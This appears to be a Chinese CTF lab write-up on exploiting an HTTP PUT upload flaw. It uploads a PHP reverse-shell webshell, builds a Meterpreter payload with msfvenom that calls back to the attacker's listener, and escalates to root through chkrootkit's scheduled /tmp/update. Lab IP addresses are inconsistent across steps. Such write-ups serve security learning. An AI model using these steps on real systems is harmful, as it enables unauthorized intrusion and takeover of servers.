CTF—攻防练习之HTTP—18PUT上传漏洞

主机:192.168.56.103
靶机:192.168.56.105

中间件PUT漏洞

包括apache,tomcat,IIS等中间件设置支持的HTTP方法(get,post,head,delete,put等)
每一个开放了HTTP方法都有其对应功能,PUT方法可以直接从客户机上传文件到服务器,如果中间件开放了
HTTP中的PUT方法,那么就可以利用上传webshell到服务器对应目录

一、信息探测

扫描靶机端口:
CTF—攻防练习之HTTP—18PUT上传漏洞_第1张图片然后常规方法nikto -host ,dirb探测敏感文件,owasp zap扫web漏洞,都发现不了什么东西,扫描只有一个网址可以进入http://192.168.136.140/test/ ,测试一下是否存在PUT漏洞

curl -v -X OPTIONS +ip地址
CTF—攻防练习之HTTP—18PUT上传漏洞_第2张图片发现存在PUT方法

二、生产并上传webshell

有两种方法

1、第一种方法:利用现有shell;利用curl命令上传;利用nc监听;最后得到反弹shell

a.用/usr/share/webshell/php 目录下phpwebshell,拷贝到根目录下

CTF—攻防练习之HTTP—18PUT上传漏洞_第3张图片

b.设置监听主机和端口号,并重命名。

(注:换成其他高位端口不能监听成功,防火墙过滤掉了)
CTF—攻防练习之HTTP—18PUT上传漏洞_第4张图片

c.上传上去(看的视频教程朋友,这里有个坑,视频零用的poster直接上传。。现在火狐不支持这个插件了,

找了好久,发现了火狐的RESTClient可用,可以PUT,但不能直接传文件,但可以选择类型,把shell代码复制进去上传)
CTF—攻防练习之HTTP—18PUT上传漏洞_第5张图片
CTF—攻防练习之HTTP—18PUT上传漏洞_第6张图片
CTF—攻防练习之HTTP—18PUT上传漏洞_第7张图片
CTF—攻防练习之HTTP—18PUT上传漏洞_第8张图片
shell上传成功!
也可利用curl命令上传shell
CTF—攻防练习之HTTP—18PUT上传漏洞_第9张图片

d.开启监听443端口,执行上传的shell(点击http://192.168.56.104/test/shell_reverse.php),得到反弹的shell

2、第二种方法:利用msf生产;利用curl命令上传;利用msf监听;最后得到反弹shell

a.利用msf构造payload

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.136.133 LPORT=443 > shell_msf.php
CTF—攻防练习之HTTP—18PUT上传漏洞_第10张图片

b.上传shell.利用restclient扩展或者curl命令都可以,不再赘述。

c.利用msf监听。在Kali测试机上打开msfconsole,exploit/multi/handler模块,指定IP和端口进行监听

CTF—攻防练习之HTTP—18PUT上传漏洞_第11张图片
CTF—攻防练习之HTTP—18PUT上传漏洞_第12张图片

d.执行上传的shell(点击http://192.168.56.104/test/shell_reverse.php),得到反弹的shell

执行上传的shell,有两种办法 一是直接点击http://192.168.56.104/test/shell_msf.php,得到反弹的shell;另外就是使用curl命令:curl -v “http://192.168.56.104/test/shell_msf.php”
CTF—攻防练习之HTTP—18PUT上传漏洞_第13张图片
即可触发服务器端反弹TCP的操作, 在msfconsole里就会得到一个meterpreter的shell。

三、提权,去拿flag

1.优化终端:无论是在nc监听还是在meterpreter中得到的交互式的shell,但是都没有tty,需要用python生成一个bash。

python -c “import pty;pty.spawn(‘/bin/bash’)”

得到交互的bash

注意:meterpreter中得到shell,需要用shell命令来得到一个交互式的shell,再用python来spawn优化生成一个bash。如上图所示
CTF—攻防练习之HTTP—18PUT上传漏洞_第14张图片
CTF—攻防练习之HTTP—18PUT上传漏洞_第15张图片
测试下sudo,可以看到sudo已经奏效。

2.提权。

a.先使用sudo -l,可以查看当前用户可以使用root提权的有哪些命令信息。

CTF—攻防练习之HTTP—18PUT上传漏洞_第16张图片
CTF—攻防练习之HTTP—18PUT上传漏洞_第17张图片
我们发现系统要求我们输入密码,我们试图使用弱口令(空口令、123456、www-data)都不能登录www-data账户,自然也就不能使用当前用户(www-data)使用root提权的那些命令信息。

b.再尝试使用root明文方法。提示没有权限

CTF—攻防练习之HTTP—18PUT上传漏洞_第18张图片
CTF—攻防练习之HTTP—18PUT上传漏洞_第19张图片

c.再次尝试用密码复用;

CTF—攻防练习之HTTP—18PUT上传漏洞_第20张图片
上图是方法原理,下图是我们自己尝试的,发现此路也不通;
CTF—攻防练习之HTTP—18PUT上传漏洞_第21张图片

d.再次尝试用系统内核漏洞;

CTF—攻防练习之HTTP—18PUT上传漏洞_第22张图片
CTF—攻防练习之HTTP—18PUT上传漏洞_第23张图片
上面两图是方法,我们来尝试下,发现一个漏洞,但是这里不用这个漏洞,我们用”计划任务“方法来提权
CTF—攻防练习之HTTP—18PUT上传漏洞_第24张图片

e.利用计划任务方法来提权

CTF—攻防练习之HTTP—18PUT上传漏洞_第25张图片
e1.上图是原理方法,我们来尝试下,发现并不具有一个可写的计划任务
CTF—攻防练习之HTTP—18PUT上传漏洞_第26张图片
知识点扩展1:修改/etc/crontab这种方法只有root用户能用,这种方法更加方便与直接直接给其他用户设置计划任务,而且还可以指定执行shell等等,crontab -e这种所有用户都可以使用,普通用户也只能为自己设置计划任务。然后自动写入/var/spool/cron/usename。
e2.再次尝试用ls -la /etc/cron*命令显示所有包括隐藏的计划任务,发现敏感信息chkrootkit
CTF—攻防练习之HTTP—18PUT上传漏洞_第27张图片
CTF—攻防练习之HTTP—18PUT上传漏洞_第28张图片
CTF—攻防练习之HTTP—18PUT上传漏洞_第29张图片

e3.扫描漏洞chkrootkit,可以看到chkrootkit存在本地提权漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞_第30张图片
CTF—攻防练习之HTTP—18PUT上传漏洞_第31张图片
e4.添加当前用户www-data到sudoers列表中
CTF—攻防练习之HTTP—18PUT上传漏洞_第32张图片
CTF—攻防练习之HTTP—18PUT上传漏洞_第33张图片

知识点扩展3:什么是rootkit

总结:

1、信息收集、端口扫描、服务识别、目录扫描

2、nmap 的http-methods.nse脚本获得目标支持的http方法,发现/test页面支持put方法

3、使用burp修改包,用put方法上传一句话或者curl 上传获得shell

4、利用chkrootkit版本0.49定期以root身份执行/tmp/update文件来提权。

1.利用msf中chkrootkit攻击模块

2.手动创建在/tmp创建update文件,然后利用自动执行update文件,在update写入添加账户到sudo组[本文用的方法]

3.使用C语言编写exp,改变/tmp的所属组为root以及增加uid为root权限,上传都目标服务器,编译然后执行,提权成功。

你可能感兴趣的:(#,CTF夺旗)